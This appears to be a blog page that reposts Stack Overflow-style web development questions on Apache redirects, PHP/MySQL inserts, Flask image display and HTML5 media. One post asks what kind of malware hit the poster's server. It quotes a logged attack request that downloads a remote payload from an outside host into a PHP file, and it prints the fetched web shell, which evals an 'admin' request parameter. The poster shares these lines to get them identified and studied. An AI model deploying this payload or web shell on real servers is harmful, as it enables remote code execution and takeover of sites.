vendredi 2 avril 2021

How to forward http request from old path to new path retaining method and queries

I hope i can finally get help over here.

i want to forward all request from old path to new path and retaining the method and queries.

OLD URL PATH:

[POST|GET|PUT|DELETE]: mydomain.com/public/api?key=value

Desired URL PATH:

[POST|GET|PUT|DELETE]: mydomain.com/api?key=value

Please can any one help me with the .htaccess code to achieve above idea.




HTML, CSS and JAVASCRIPT [closed]

Dear Colleagues around world,

I need your advise individually regarding (HTML,CSS and JAVA-SCRIPT)

. I read a lot about them but my fingers are working quite good while i am planning a project to be done by myself, since my goal is to be a WEB-DEVELOPER, and i have passion for that and to learn about it. Is there any procedure should i follow to lean that field?. Where should i start?. There are plenty subjects, topics, programming languages.

Any feedback will be highly appreciated.

many thanks in advance.




Insert Into returning error, (PHP, HTML, MYSQL)

Hey guys I am new to PHP Can you please help me with this? I don't know why I can't insert my data in MySql.

1: My HTML FORM CODE 2: PHP Snippet 3: DB view 4: Error

1: A: My HTML FORM CODE (it's working, I used UIKIT)

<form class="uk-grid-small" uk-grid action="AddProject.php" method="post" enctype="multipart/form-data" autocomplete="off">
                        <div class="uk-width-1-1">
                            <input class="uk-input uk-button-secondary" type="text" placeholder="Title" id="title" name="title" required>
                        </div>

                        <div class="uk-width-1-1">
                            <textarea class="uk-textarea uk-button-secondary" placeholder="Description" id="des" name="des" required></textarea>
                        </div>
                        <div class="uk-margin" >
                            <div uk-form-custom="target: true" class="">
                                <input class="uk-width-1-1@l uk-form-width-large" type="file" id="imageFile" accept="image/*" name="filename">
                                <input class="uk-input uk-form-width-medium" type="text" placeholder="Select image" disabled>
                            </div>



                        </div>


                        <div class="uk-margin uk-width-1-2 uk-align-right">
                            <label for="link"></label><input class="uk-input uk-button-secondary uk-form-width-large" type="url" id="link" name="link" placeholder="Website" required>
                        </div>



                        <div class="uk-margin uk-width-1-1@s">
                            <button class="uk-button uk-button-default uk-width-1-1@l uk-button-large uk-button-secondary" type="submit" value="Sum" name="Submit">Submit</button>
                        </div>
                    </form>

1: B: Form Screen Shot FORM SS

2: PHP

<?php
        $server_name= "localhost";
        $db_user="root";
        $db_password="";
        $db_name="digitalmarketing";

        $connection=mysqli_connect($server_name,$db_user,$db_password,$db_name);
        $dbconfig=mysqli_select_db($connection,$db_name);

        session_start();
        $_SESSION['message']='';

        if($_SERVER['REQUEST_METHOD']=='POST')
        {
            $title= mysqli_real_escape_string($connection,$_POST['title']);
            $Des= mysqli_real_escape_string($connection,$_POST['des']);
            $imagepath= mysqli_real_escape_string($connection,'Projects/'.$_FILES['filename']['name']);
            $link= mysqli_real_escape_string($connection,$_POST['link']);
            echo $title,"           ";
            echo $Des,"           ";
            echo $imagepath,"           ";
            echo $link," \n          ";

            if(preg_match("!image!",$_FILES['filename']['type'])){
                if(copy($_FILES['filename']['tmp_name'],$imagepath)){
                    $query="INSERT INTO `project` (`id`, `Title`, `Description`, `Image`, `Site`) VALUES (NULL, $title, $Des, $imagepath, $link)";
                    if(mysqli_query($connection, $query))
                    {
                        echo "success";
                    }
                    else {
                        echo "Error: " . $query . "<br>" . mysqli_error($connection);
                    }
                }
            }
        }



    ?>

**3: DB View **

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";  

CREATE TABLE `project` (
  `id` int(11) NOT NULL,
  `Title` varchar(50) NOT NULL,
  `Description` varchar(1000) NOT NULL,
  `Image` varchar(200) NOT NULL,
  `Site` varchar(100) NOT NULL
) 

ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

DB SS

4 : Error

Error: INSERT INTO project (id, Title, Description, Image, Site) VALUES (NULL, TitleHere, DescripHere, Projects/Screenshot 2021-03-18 222903.png, https://www.w3schools.com/tags/att_input_type.asp) You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '2021-03-18 222903.png, https://www.w3schools.com/tags/att_input_type.asp)' at line 1

Error




What type of malware is this

What type of malware is this, like a new method, I google not found any clue

I received POST request on my log:

Array (
    [s] => file_put_contents('16hk.php',file_get_contents('http://txt.xiazi.top/114.txt'))
    [_method] => __construct
    [method] => 
    [filter] => Array
        (
            [0] => assert
        )

)

and I dig to the website of exploiter, containing this code:

GIF89a
<?php function s(){
$a=$_REQUEST['admin'];
    return $a;}
$xx=s();
$ganrao='';
@eval(`/***xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx***/`.$ganrao.$xx);

I archived it for researchers:

https://web.archive.org/web/20210402091118/http://txt.xiazi.top/114.txt




suggestion for website developement best framework [closed]

best framework for website develop responsive , lightweight please suggest me best framework for website development what frameworks best for websites?




I have a difficulty in converting blob image into some extensions like jpg or png

main.py

@app.route('/products/<name>')
def products(name):
    cursor = mysql.connection.cursor()
    query = 'SELECT duty FROM staff WHERE name = %s'
    cursor.execute(query,(name,))
    cuisine_type = cursor.fetchone()[0]
    query = 'SELECT * from cuisines WHERE type = %s'
    cursor.execute(query,(cuisine_type,))
    datas = cursor.fetchall()
    
    for data in datas:
        image_file = data[3]
        image_real = base64.decodebytes(data[3])
      
    return render_template('products.html',image_real=image_real,name=name,cuisine_type=cuisine_type,datas=datas)

@app.route('/product_edit/<name>',methods=['GET','POST'])
def product_edit(name):
    cursor = mysql.connection.cursor()
    query = 'SELECT duty FROM staff WHERE name = %s'
    cursor.execute(query,(name,))
    cuisine_type = cursor.fetchone()[0]
    form = Products(CombinedMultiDict((request.files, request.form)))
    if form.validate_on_submit():
        item = form.item.data
        price = form.price.data
        f = form.image.data
        filename = secure_filename(f.filename)
        if os.path.exists('photos') == False:
            os.mkdir('photos')
        else:
            pass
        f.save(os.path.join(
            UPLOAD_FOLDER,filename
        ))
        cursor = mysql.connection.cursor()
        query = 'INSERT INTO cuisines(type,item,price,img) VALUES(%s,%s,%s,%s)'
        values = (cuisine_type,item,price,filename)
        cursor.execute(query,values)
        mysql.connection.commit()
        cursor.close()
##        return 'Success'
        return redirect(url_for('products',name=name,cuisine_type=cuisine_type))
    return render_template('product_edit.html',cuisine_type=cuisine_type,name=name,form=form)

models.py

class Products(FlaskForm):
  
    item = StringField('Item',[validators.Length(max=100)])
    price = DecimalField('Price per unit', validators=[validators.Optional()], places=1)
    image = FileField('image',validators=[FileRequired()])
    submit = SubmitField('Add')    

products.html


My target is to show the image that stored in the database phpmyAdmin on the table of html template by using data[3] to represent. However when I run the program the image could not show up. How can I convert the blob property into jpg or png so the image could be shown on the html webpage? Is there any methods to represent the image filename by using for loop data? I would like to show the specific images accordingly from the database




jeudi 1 avril 2021

Looking for HTML5 code etc to enable user to select different audio tracks to play with video

I have a project I'm working on in HTML5 java script and css. It is designed to be wrapped up into a stand alone mobile phone app. I studied coding in various formats over 20 years ago and built multimedia websites for clients. How things have changed........in a good way on the functionality side of things with HTML5 etc

Basically the app enables a user to select a video and can also select up to 4 different background audio files to play in sync with the video. If it is possible to select different up to 4 video backgrounds to play behind the main video as well, would be a bonus. All the videos I have created are produced with an alpha channel. There are 11 individual videos the user can select from.

To keep the file sizes small all the videos are all 6 seconds in duration in Mp4. The audio tracks sounds are Mp3's. The video and audio will need to loop in sync continuously until the user stops the play.

I have spent a good deal of time looking for appropriate code that will enable this process to happen, but have had no success. I have found snippets on this site for looping and controlling video etc, that I have experimented with but implementing the audio and video background user select functions has escaped me.

I am hoping that one or more of you good folks on this site can assist me with producing this code and providing any additional thoughts and suggestions that could be useful for my project.

Many thanks in advance Michael